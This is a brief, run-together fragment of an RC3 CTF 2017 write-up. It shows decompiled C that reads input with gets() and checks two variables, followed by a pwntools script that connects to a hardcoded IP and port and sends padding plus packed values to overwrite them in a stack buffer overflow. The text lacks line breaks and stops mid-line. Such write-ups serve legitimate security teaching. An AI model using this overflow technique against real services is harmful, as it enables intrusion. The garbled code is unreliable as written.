RC3 CTF 2017 - Write Up
v2 = 0; v1 = 0; printf(“Enter Key: “); gets((char *)&v0); if ( v2 == 0xCAFEF00D && v1 == 0xC0FFEE ) sub_80484EF(); puts(“Error: Invalid key!"); srand(1u); init(); } baby=remote("18.216.183.46",4200)p="“p+="A"*16p+=p32(0xC0FFEE)# v1p+=p32(0xCAFEF00D)# v2baby.sendlineafter(”: “,p)printbaby.